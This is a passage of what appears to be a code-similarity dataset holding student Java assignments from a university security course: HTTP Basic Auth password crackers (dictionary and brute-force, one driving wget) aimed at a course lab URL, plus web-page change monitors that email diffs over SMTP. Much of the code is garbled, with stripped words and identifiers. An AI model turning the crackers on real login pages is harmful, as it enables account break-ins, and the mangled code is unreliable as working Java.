Thread\");\n\t\t\t System.out.println(\" \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\t\t\t \n\t\t System.exit(0);\n\t\t }\t \n \n\t\t }\n\n\t\t } catch (ProtocolException px) {px.printStackTrace();\n\t\t } catch (BindException e){e.printStackTrace();\n\t\t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t\t } catch (IOException io) {io.printStackTrace();\n\t\t } finally {u.disconnect();\n\t\t }\n }\n }\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n }\n}\nclass URLAuthenticator extends Authenticator {\n private String uName;\n String passwd;\n static private char[] password;\n public URLAuthenticator(String uName) {\n this.uName = uName;\n }\n public void setPassword(String passwd) {\n\n this.passwd=passwd;\n password=passwd.toCharArray();\n\n }\n\n public PasswordAuthentication getPasswordAuthentication() {\n\n\t PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password);\n \t return passwordAuthentication;\n }\n}\nclass MyHttpURLConnection extends HttpURLConnection {\n public MyHttpURLConnection(URL url) {\n super(url);\n }\n public void disconnect() {\n }\n public boolean usingProxy() {\n return true;\n }\n public void connect() {\n }\n}\n\n\n \n\n\n"
sentences:
- "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\n\npublic class Dictionary\n{\n\n\tprivate String result =\"\";\n\n\tpublic class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String passwd)\n {\n this.pass = passwd;\n }\n\n\t protected PasswordAuthentication getPasswordAuthentication()\n {\n\t return new PasswordAuthentication(\"\",pass.toCharArray());\n }\n public String pass;\n }\n\n public Dictionary() {\n\n DataInputStream dis = null;\n String record = null;\n int recCount = 0, flag=0;\n\t String result=\"\";\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n System.out.println(d.toString());\n\n\n String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n\n\n\t\tint count=1;\n\t\tString passwd=new String();\n HttpURLConnection connection = null;\n URL u = null;\n\n try\n {\n u = new URL(url);\n File f = new File(\"/usr/share/lib/dict/words\");\n FileInputStream fis = new FileInputStream(f);\n BufferedInputStream bis = new BufferedInputStream(fis);\n dis = new DataInputStream(bis);\n\n while ( (record=dis.readLine()) != null )\n\t\t {\n\t\t System.out.println(count+ \" ) \" + record);\n count++;\n connection = (HttpURLConnection) u.openConnection();\n Authenticator.setDefault(new customAuthenticator(record));\n if (connection.getResponseCode()==200)\n { System.out.print(\"The password is : \"+record);\n System.out.println();\n java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n System.out.println(d1.toString());\n System.out.println(\"\\ntime taken in seconds:\"+ (d1.getTime() - d.getTime())/1000+\"\\n\");\n System.exit(0);\n }\n\n connection.disconnect();\n }\n }\n catch(Exception e) { System.err.println(e); }\n }\n\n\tpublic static void main(String[] args)\n\t{\n\n\t\tDictionary = new Dictionary();\n\n\n\t}\n}"
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n\n String login = new String(\"\");\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println(\"Password Cracked Successfully!!!\");\n System.out.println(\"The passsword is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n System.out.println(\"Trying again with new password\");\n Bruteforce a = new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; int j= m; int k= n;\n\n String c = new String();\n String c1 = new String();\n String c2 = new String();\n String c3 = new String();\n String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n"
- "import java.net.*; \nimport java.io.*; \nimport java.util.regex.*;\nimport java.util.Date;\nimport java.util.*;\nimport java.text.*; \n\n\n\n\npublic class WatchDog { \n public static BufferedReader in;\n \n\n public static int LIMITINMINUTES=60*24;\n public static int TIMELIMIT=LIMITINMINUTES*1000*60;\n public static void main(String[] args) throws Exception { \n \n String watchedPage = \"http://www.cs.rmit.edu./students/\";\n String currentPage = \"\"; \n \n \n System.out.println(\" stop the program, press \\\"Alt + C\\\"\");\n \n boolean loggedout=false;\n while (!loggedout){\n \n currentPage=\"\";\n \n \n Date date = new Date();\n startTime=date.getTime();\n \n \n URL cs = new URL(watchedPage); \n HttpURLConnection connection;\n URLConnection csc = cs.openConnection(); \n try {\n\tBufferedReader in = new BufferedReader(new InputStreamReader(csc.getInputStream())); \n\tString inputLine; \n\t\n\twhile ((inputLine = in.readLine()) != null) {\n\t currentPage = currentPage+inputLine;\n\t}\n\t\n }\n catch (IOException s) { \n }\n finally {\n\twhile(in!=null)\n in.next();\n }\n \n String lastPage=readData();\n if (lastPage.trim().equals(currentPage.trim())) {\n\tSystem.out.println(\"Pages match, nothing email.\");\n }\n else {\n\t\n\t\n\tString checkCurrentPage = currentPage.trim();\n\tString checkLastPage = lastPage.trim();\n\tint iterations;\n\t\n\tboolean lastLongestString;\n\tif (checkCurrentPage.length()<checkLastPage.length()) {\n iterations = checkCurrentPage.length();\n\t lastLongestString = true;\n\t}\n\telse {\n iterations = checkLastPage.length();\n\t lastLongestString = false;\n\t \n\t}\n\tString additions = \"Here the additions the : \\n\";\n\tboolean add=false;\n\tString subtractions = \"Here the parts removed from the : \\n\";\n\tboolean sub=false;\n\tfor (int count=0; count<iterations; count++) {\n \n\t if (checkLastPage.length()>count && checkCurrentPage.length()>count){\n\t \n if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count))) {\n\t \n\t \n\t if (count<20){\n\t\tadditions = \"Sorry changes together distinguish additions and subtractions . Here is where : \"+ checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\tcount = iterations;\n\t }\n\t else {\n\t\t\n\t\t\n\t\tcheckCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\tcheckLastPage=checkLastPage.substring(count, checkLastPage.length());\n\t\titerations=iterations-count;\n\t\tcount=0;\n\n\t\t\n\t\t\n\t\t\n\t\tString regexAdd=\"\";\n\t\tif (checkLastPage.length()<20){\n\t\t regexAdd=checkLastPage.substring(count, checkLastPage.length());\n\t\t}\n\t\telse {\t \n\t\t regexAdd=checkLastPage.substring(0,19);\n\t\t}\n\t\tString [] changes=checkCurrentPage.split(regexAdd, 2);\n\t\tint changeslength=changes.length;\n\t\t\n\t\tif (changeslength>1){\n\t\t \n\t\t add=true;\n\t\t additions = additions + changes[0];\t \n\t\t \n\t\t \n\t\t if (changeslength>1){\n\t\t checkCurrentPage=regexAdd+changes[1];\n\t\t }\n\t\t else {\n\t\t if (lastLongestString==true) \n\t count=iterations;\n\t\t } \n\t\t}\n\t\telse { \n\t \t\t \n\t\t \n\t\t \n\t\t String regexSub=\"\";\n\t\t if (checkCurrentPage.length()<20){\n\t\t regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\t }\n\t\t else {\t \n\t\t regexSub=checkCurrentPage.substring(0,19);\n\t\t }\n\t\t String [] changesSub=checkLastPage.split(regexSub, 2);\n\t\t int changeslengthSub=changesSub.length;\n\t\t \n\t\t if (changeslengthSub>1){\n\t\t \n\t\t sub=true;\n\t\t subtractions = subtractions + changesSub[0];\t \n\t\t \n\t\t \n\t\t if (changeslengthSub>1){\n\t\t checkLastPage=regexSub+changesSub[1];\n\t\t }\n\t\t else {\n\t\t if (lastLongestString==false) \n\t\t count=iterations;\n\t\t }\n\t\t \n\t\t \n\t\t }\n\t\t}\n\t }\n\n } \n\t } \n\t} \n\t\n\t\n\tString emailBody=\"Changes have been . \\n\"+additions+subtractions;\n\n\t\n\tsendEmail(emailBody);\n }\n\n \n writeData(currentPage);\n \n \n wait24(startTime);\n } \n } \n \n \n private static void wait24( int startTime) {\n boolean waiting=true;\n while(waiting){\n Date endDate = new Date();\n endTime=endDate.getTime();\n \n \n if (endTime>(TIMELIMIT+startTime)){\n \n waiting=false;\n }\t\n }\n } \n \n \n public static String readData() {\n String data;\n String lastPage=\"\";\n try {\n BufferedReader in = new BufferedReader(new FileReader(\"LastVisitedPage.html\"));\n while ((data = in.readLine())!=null) {\n lastPage= lastPage + data +\"\\n\";\n }\n \n }\n catch (FileNotFoundException e1) {\n System.exit(0);\n }\n catch (IOException e2) {\n System.out.println(\"IO Exception, exiting\");\n System.exit(0);\n }\t \n finally {\n try {\n\tif (null!=in) {\n in.next();\n\t}\n }\n catch (IOException e3) {}\n }\n return lastPage;\n }\n \n \n public static void writeData(String currentPage) {\n PrintWriter out;\n try {\n\tout = new PrintWriter (new BufferedWriter(new FileWriter(\"LastVisitedPage.html\")));\n\tout.println(currentPage);\n\t\n\t\n }\n catch (IllegalArgumentException e1) {\n\tSystem.out.println (\"Sorry, 't write file. None of changes in this session have been saved\");\n\tSystem.exit(0);\n }\n catch (IOException e2) {\n\tSystem.out.println (\"Sorry, 't write file. None of changes in this session have been saved\");\n\tSystem.exit(0);\n\t}\n finally {} \n } \n\n \n \n \n public static void sendEmail(String emailBody){\n \n Socket smtpSocket =null;\n DataOutputStream os = null;\n InputStreamReader is = null ;\n\n Date dDate = new Date();\n DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);\n\n try{ \n smtpSocket = new Socket(\".rmit.edu.\", 25);\n os = new DataOutputStream(smtpSocket.getOutputStream());\n is = new InputStreamReader(smtpSocket.getInputStream());\n BufferedReader = new BufferedReader(is);\n\n if(smtpSocket != null && os != null && is != null){ \n \n\ttry { \n\t os.writeBytes(\"HELO .rmit.edu.\\r\\n\");\n\t \n\t \n\t os.writeBytes(\"MAIL From: <@.rmit.edu.>\\r\\n\");\n\n\t \n\t os.writeBytes(\"RCPT : <@cs.rmit.edu.>\\r\\n\");\n\n\t \n\t \n\t os.writeBytes(\"DATA\\r\\n\");\n\n\t os.writeBytes(\"X-Mailer: Via Java\\r\\n\");\n\t os.writeBytes(\"DATE: \" + dFormat.format(dDate) + \"\\r\\n\");\n\t os.writeBytes(\"From: <@cs.rmit.edu.>\\r\\n\");\n\t os.writeBytes(\": <@cs.rmit.edu.>\\r\\n\");\n\n\t os.writeBytes(\"Subject: updated\\r\\n\");\n\t os.writeBytes(emailBody + \"\\r\\n\");\n\t os.writeBytes(\"\\r\\n.\\r\\n\");\n\t os.writeBytes(\"QUIT\\r\\n\");\n\n\t \n\t \n\t String responseline;\n\t while((responseline=is.readLine())!=null){ \n \n if(responseline.indexOf(\"Ok\") != -1) {\n break;\n }\n\t }\n\t}\n\tcatch(Exception e){ \n\t System.out.println(\"Cannot send email as error occurred.\"); \n\t}\n }\n else \n\tSystem.out.println(\"smtpSocket another variable is null!\");\n } \n catch(Exception e){ \n System.out.println(\"Host unknown\"); \n }\n } \n \n} \n\n\n"
- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\nimport java.text.*;\n\npublic class WatchDog extends Thread {\n\n private HttpURLConnection httpUrlCon;\n private URL stdurl; \n private String spec = \"http://www.cs.rmit.edu./students/\"; \n private String command=\"\"; \n\n private String firstModified =\"\"; \n private String secModified = \"\"; \n private String fileModified = \"\"; \n\n private BufferedReader instd; \n private Vector firstVector; \n private Vector secondVector; \n private Vector tmpVector; \n\n private int intervalTime = 24*60*60*1000; \n private boolean bstop = false; \n private int count = 0; \n private int totalDuration = 30*24*60*60*1000; \n\n private String yourSMTPserver = \"mail.rmit.edu.\"; \n private int smtpPort = 25; \n private String mailFrom = \"@yallara.cs.rmit.edu.\"; \n private String mailTo = \"@.rmit.edu.\"; \n private String subject = \"\"; \n private String message =\"\"; \n\n private Socket socketsmtp; \n private BufferedReader emailin;\n private PrintStream emailout; \n private String reply = \"\"; \n \n public WatchDog(){\n firstVector = new Vector();\n secondVector = new Vector();\n tmpVector = new Vector();\n }\n \n public void FirstRead(){\n readContent(firstVector);\n firstModified = fileModified;\n }\n \n public void run(){\n while(!bstop){\n readPageAgain();\n }\n }\n \n public void readPageAgain(){\n try{\n Thread.sleep(intervalTime);\n\n }catch(InterruptedException e){e.printStackTrace();}\n count += intervalTime;\n readContent(secondVector);\n secModified = fileModified;\n\n if(firstModified.equals(secModified)){\n if(count == totalDuration)\n bstop =true;\n message = \"After \" + (double)intervalTime/(60*60*1000) + \" hours is change!\";\n subject = \" is change the web \";\n try{\n doSendMail(mailFrom, mailTo, subject, message);\n }catch (SMTPException e){}\n }\n else if(!(firstModified.equals(secModified))){\n if(count == totalDuration)\n bstop = true;\n message = getChangeMessage();\n subject = \" some changes the web \";\n try{\n doSendMail(mailFrom, mailTo, subject, message);\n }catch(SMTPException e){}\n\n firstModified = secModified;\n firstVector.clear();\n for(int i=0; i<secondVector.size(); i++){\n firstVector.add((String)secondVector.get(i));\n }\n }\n }\n \n public void readContent(Vector avect){\n\n String fmod =\"\";\n if(spec.indexOf(\"http://www.cs.rmit.edu./\")!=-1){\n fmod = \"File last modified :\";\n command = \"lynx -nolist -dump \" + spec;\n }\n else {\n fmod = \"Last-Modified:\";\n command =\"lynx -mime_header -dump \" +spec;\n }\n try{\n Runtime runtime = Runtime.getRuntime();\n Process p = runtime.exec(command);\n instd = new BufferedReader(new InputStreamReader(p.getInputStream()));\n String str=null;\n avect.clear();\n while((str = instd.readLine())!= null){\n avect.add(str);\n if(str.indexOf(fmod) !=-1){\n fileModified = str;\n }\n }\n instd.print();\n }catch(MalformedURLException e){System.out.println(e.getMessage());}\n catch(IOException e1){System.out.println(e1.getMessage());}\n }\n\n \n public String getChangeMessage(){\n String mssg = \"\";\n for(int i =0; i<secondVector.size();i++){\n tmpVector.add((String)secondVector.get(i));\n }\n \n for(int i=0; i<firstVector.size(); i++){\n String line = (String)(firstVector.get(i));\n int same = 0;\n for(int j=0; j<tmpVector.size(); j++){\n String newline = (String)(tmpVector.get(j));\n if(line.equals(newline)){\n if(same == 0){\n tmpVector.remove(j);\n same++;\n }\n }\n }\n }\n \n for(int i = 0; i<secondVector.size(); i++){\n String line = (String)(secondVector.get(i));\n int same =0;\n for(int j=0; j<firstVector.size(); j++){\n String newline = (String)(firstVector.get(j));\n if(line.equals(newline)){\n if(same == 0){\n firstVector.remove(j);\n same++;\n }\n }\n }\n }\n if(firstVector.size()!=0){\n mssg += \"The following lines removed in the latest modified web : \\r\\n\";\n for(int i=0; i<firstVector.size(); i++){\n mssg +=(String)firstVector.get(i) + \"\\r\\n\";\n }\n }\n if(tmpVector.size()!=0){\n mssg += \"The following lines new ones in the latest modified web : \\r\\n\";\n for(int i=0; i<tmpVector.size(); i++){\n mssg += (String)tmpVector.get(i) + \"\\r\\n\";\n }\n }\n\n return mssg;\n }\n\n \n public void setMonitorURL(String url){\n spec = url;\n }\n \n public void setMonitorDuration(int t){\n totalDuration = t*60*60*1000;\n }\n \n public void setMonitorInterval(int intervalMinutes){\n intervalTime = intervalMinutes*60*1000;\n }\n \n public void setSMTPServer(String server){\n yourSMTPserver = server;\n }\n \n public void setSMTPPort(int port){\n smtpPort = port;\n }\n \n public void setMailFrom(String mfrom){\n mailFrom = mfrom;\n }\n \n public void setMailTo(String mto){\n mailTo = mto;\n }\n \n public String getMonitorURL(){\n return spec;\n }\n \n public getDuration(){\n return totalDuration;\n }\n \n public getInterval(){\n return intervalTime;\n }\n \n public String getSMTPServer(){\n return yourSMTPserver;\n }\n \n public int getPortnumber(){\n return smtpPort;\n }\n \n public String getMailFrom(){\n return mailFrom;\n }\n \n public String getMailTo(){\n return mailTo;\n }\n \n public String getServerReply() {\n return reply;\n }\n \n public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{\n connect();\n doHail(mfrom, mto);\n doSendMessage(mfrom, mto, subject, msg);\n doQuit();\n }\n \n public void connect() throws SMTPException {\n try {\n socketsmtp = new Socket(yourSMTPserver, smtpPort);\n emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream()));\n emailout = new PrintStream(socketsmtp.getOutputStream());\n reply = emailin.readLine();\n if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {}\n else {\n throw new SMTPException(\"Error connecting SMTP server \" + yourSMTPserver + \" port \" + smtpPort);\n }\n }catch(Exception e) { throw new SMTPException(e.getMessage());}\n }\n \n public void doHail(String mfrom, String mto) throws SMTPException {\n if (doCommand(\"HELO \" + yourSMTPserver))\n throw new SMTPException(\"HELO command Error.\");\n if (doCommand(\"MAIL FROM: \" + mfrom))\n throw new SMTPException(\"MAIL command Error.\");\n if (doCommand(\"RCPT : \" + mto))\n throw new SMTPException(\"RCPT command Error.\");\n }\n \n public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException {\n\n Date date = new Date();\n\t Locale locale = new Locale(\"\",\"\");\n\t String pattern = \"hh:mm: a',' dd-MMM-yyyy\";\n\t SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale);\n\t formatter.setTimeZone(TimeZone.getTimeZone(\"Australia/Melbourne\"));\n String sendDate = formatter.format(date);\n\n if (doCommand(\"DATA\"))\n throw new SMTPException(\"DATA command Error.\");\n String header = \"From: \" + mfrom + \"\\r\\n\";\n header += \": \" + mto + \"\\r\\n\";\n header += \"Subject: \" + subject + \"\\r\\n\";\n header += \"Date: \" + sendDate+ \"\\r\\n\\r\\n\";\n if (doCommand(header + msg + \"\\r\\n.\"))\n throw new SMTPException(\"Mail Transmission Error.\");\n }\n \n public boolean doCommand(String commd) throws SMTPException {\n try {\n emailout.print(commd + \"\\r\\n\");\n reply = emailin.readLine();\n if (reply.charAt(0) == '4' || reply.charAt(0) == '5')\n return true;\n else\n return false;\n }catch(Exception e) {throw new SMTPException(e.getMessage());}\n }\n \n public void doQuit() throws SMTPException {\n try {\n if (doCommand(\"Quit\"))\n throw new SMTPException(\"QUIT Command Error\");\n emailin.put();\n emailout.flush();\n emailout.send();\n socketsmtp.put();\n }catch(Exception e) { }\n }\n}"
sentences:
- |
import java.Object;
import java.io.*;
import java.String;
import java.util.*;
class Dictionary{
public static void main(String [] args){
try
{
Date d = new Date();
String line1="";
String ps="";
String file1 = "words.txt";
String file2 = "index.html";
String endline="Authorization failed.";
String [] cmd = new String[4];
cmd[0] = "wget";
cmd[1] = "--http-user=";
cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";
FileReader fr1 = new FileReader(file1);
BufferedReader in1 = new BufferedReader(fr1);
while((line1 = in1.readLine())!=null)
{
try{
cmd[2] = connect(line1);
Runtime.getRuntime().exec(cmd);
if(line1.length()==3)
ps = line1;
System.out.println(cmd[2]);
File f = new File(file2);
if(f.exists())
{
System.out.println("password: " + ps);
break;
}
}
catch(IOException ex)
{
System.out.println("hello1");
}
}
Date end = new Date();
System.out.println(d.toString());
System.out.println(end.toString());
System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));
}
catch(IOException e)
{
System.out.println("hello,didnt find file.");
}
}
public static String connect(String str1)
{
char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};
String str = new String(data);
return str + str1;
}
}
- "import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t WatchDog watcher = new WatchDog();\n\t watcher.run();\n\t}\n\n\t\n public void run()\n {\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n twentyFourHours = 24 * 60 * 60 * 1000;\n \n\n \t\twriteProgramLog(\"Program started at \" + longTimestamp.format(new Date()));\n while(true)\n {\n \t\twriteProgramLog(\"Running run at \" + longTimestamp.format(new Date()));\n compare();\n try\n {\n sleep(twentyFourHours);\n }\n catch(InterruptedException e)\n {\n writeProgramLog(\"Program terminated at \" + longTimestamp.format(new Date()));\n System.exit(0);\n }\n }\n } \n\n\t\n private void compare()\n {\n \n \n \n String watchDogFile = \"watchDogHash_rcroft.\";\n String watchDogPageFile = \"watchDogPage_rcroft.html\";\n \n File watchDogLogFile = new File(watchDogFile);\n \n if(!watchDogLogFile.exists())\n {\n \n \n \n \n \n WebPage targetPage = getPage();\n if(targetPage.getSuccess())\n {\n byte[] newHash = calcHash(targetPage.getPageContents());\n writeHash(newHash, watchDogFile);\n writePage(targetPage.getPageContents(), watchDogPageFile);\n }\n }\n else\n {\n try\n {\n \n \n \n \n \n \n WebPage targetPage = getPage();\n if(targetPage.getSuccess())\n {\n \n byte[] oldHash = new byte[16]; \n byte[] newHash = calcHash(targetPage.getPageContents());\n\n \n DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n inWatchDogFile.readFully(oldHash);\n inWatchDogFile.print();\n \n \n \n \n if(!java.util.Arrays.equals(oldHash, newHash))\n {\n String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n mail(differences);\n writeHash(newHash, watchDogFile);\n writePage(targetPage.getPageContents(), watchDogPageFile);\n }\n }\n }\n catch(IOException e)\n {\n writeProgramLog(\"Exception: \" + e);\n }\n }\n } \n \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t String differences = \"\";\n\t File newFile = null;\n\n\t try\n\t {\n\t \n\t \n\t newFile = File.createTempFile(\"new\", \"tmp\");\n String tempFilePath = newFile.getAbsolutePath();\n DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n outFile.writeBytes(newPageData);\n outFile.print();\n \n \n String commandLine = \"diff \" + oldPageFileName + \" \" + tempFilePath;\n Process p = Runtime.getRuntime().exec(commandLine);\n BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n String line;\n while((line = diffs.readLine()) != null)\n differences += line + \"\\n\";\n diffs.print();\n newFile.delete();\n\t }\n\t catch(IOException e)\n\t {\n\t writeProgramLog(\"Exception: \" + e);\n\t }\n\t return differences;\n\t} \n\n\t\n private void mail(String mailMessage)\n {\n \n Vector emailAddresses = new Vector();\n String watchDogEmailFile = \"watchDogEmail_rcroft.txt\";\n\n \n File emailFile = new File(watchDogEmailFile);\n if(emailFile.exists())\n {\n try\n {\n \n BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n String line;\n while ((line = inWatchDogEmailFile.readLine()) != null)\n {\n line = line.trim();\n if((line != \"\") && (line != \"\\n\"))\n emailAddresses.add(line);\n }\n inWatchDogEmailFile.print();\n \t }\n \t catch(FileNotFoundException e)\n \t {\n \t writeProgramLog(\"Exception: \" + e);\n \t }\n \t catch(IOException e)\n \t {\n \t writeProgramLog(\"Exception: \" + e);\n \t }\n }\n else\n {\n emailAddresses.add(\"@yallara.cs.rmit.edu.\");\n emailAddresses.add(\"[email protected].\");\n }\n \n if(emailAddresses.size() > 0) \n {\n try\n {\n String fromAddress = \"From: \" + \"WatchDog Program ()\" + \" <\" + System.getProperty(\"user.name\") + \"@\" + InetAddress.getLocalHost().getHostName() + \">\";\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n String subject = \"Subject: [SEC project] Notification of target file changes (\" + longTimestamp.format(new Date()) +\")\";\n for(int i = 0; i < emailAddresses.size(); i++)\n {\n String toAddress = (String) emailAddresses.get(i);\n try\n {\n URL mailURL = new URL(\"mailto: \" + toAddress);\n URLConnection mailConnection = mailURL.openConnection();\n mailConnection.setDoInput(false);\n mailConnection.setDoOutput(true);\n mailConnection.connect();\n PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n mailWriter.print(\": \" + toAddress + \"\\n\");\n mailWriter.print(fromAddress + \"\\n\");\n mailWriter.print(subject + \"\\n\");\n mailWriter.print(mailMessage);\n mailWriter.print();\n writeProgramLog(\"\\tNotification mailed in this run.\");\n }\n catch(MalformedURLException e)\n {\n writeProgramLog(\"Exception: \" + e);\n }\n catch(IOException e)\n {\n writeProgramLog(\"Exception: \" + e);\n }\n }\n }\n catch(UnknownHostException e)\n {\n writeProgramLog(\"Exception: \" + e);\n } \n } \n } \n \n\n\t\n private void writeHash(byte [] newHash, String fileName)\n {\n try\n {\n DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n outFile.write(newHash, 0, newHash.length);\n outFile.print();\n }\n catch(IOException e)\n {\n writeProgramLog(\"Exception: \" + e);\n }\n } \n \n\t\n private void writePage(String newPage, String fileName)\n {\n try\n {\n DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n outFile.writeBytes(newPage);\n outFile.print();\n }\n catch(IOException e)\n {\n writeProgramLog(\"Exception: \" + e);\n }\n } \n \n\n\t\n private void writeProgramLog(String comment)\n {\n String fileName = \"watchDogLog_rcroft.txt\";\n try\n {\n DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n outFile.writeBytes(comment + \"\\n\");\n outFile.flush();\n outFile.print();\n }\n catch(IOException e)\n {\n \n \n System.out.println(\"Exception: \" + e);\n }\n } \n\n\t\n private WebPage getPage()\n {\n WebPage tempWebPage = new WebPage();\n try\n {\n \n \n \n String urlName = \"http://www.cs.rmit.edu./students/\";\n \t \tURL targetURL= new URL(urlName);\n \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n \n \n connection.connect();\n connection.getResponseCode();\n if(connection.getResponseCode() == 200)\n\t\t {\n\t\t String fileContents = \"\";\n\t\t BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n String line;\n \t\t while((line = in.readLine()) != null)\n\t\t \t fileContents = fileContents + line + \"\\n\";\n\t\t in.print();\n\t\t tempWebPage.setPageContents(fileContents);\n \t\t tempWebPage.setSuccess(true);\n \t\t connection.disconnect();\n\t }\n\t else\n\t\t {\n \t\t writeProgramLog(\"Failed connect \" + connection.getResponseCode());\n\t\t } \n }\n catch(IOException e)\n {\n \t writeProgramLog(\"Exception \" + e);\n } \n return tempWebPage;\n } \n \n\t\n private byte[] calcHash(String pageContents)\n {\n byte[] outHash = null;\n try\n {\n MessageDigest msg = MessageDigest.getInstance(\"\");\n msg.reset();\n msg.update(pageContents.getBytes());\n outHash = msg.digest();\n msg.reset();\n }\n catch(NoSuchAlgorithmException e)\n {\n writeProgramLog(\"Exception: \" + e);\n }\n return outHash;\n } \n \n} \n"
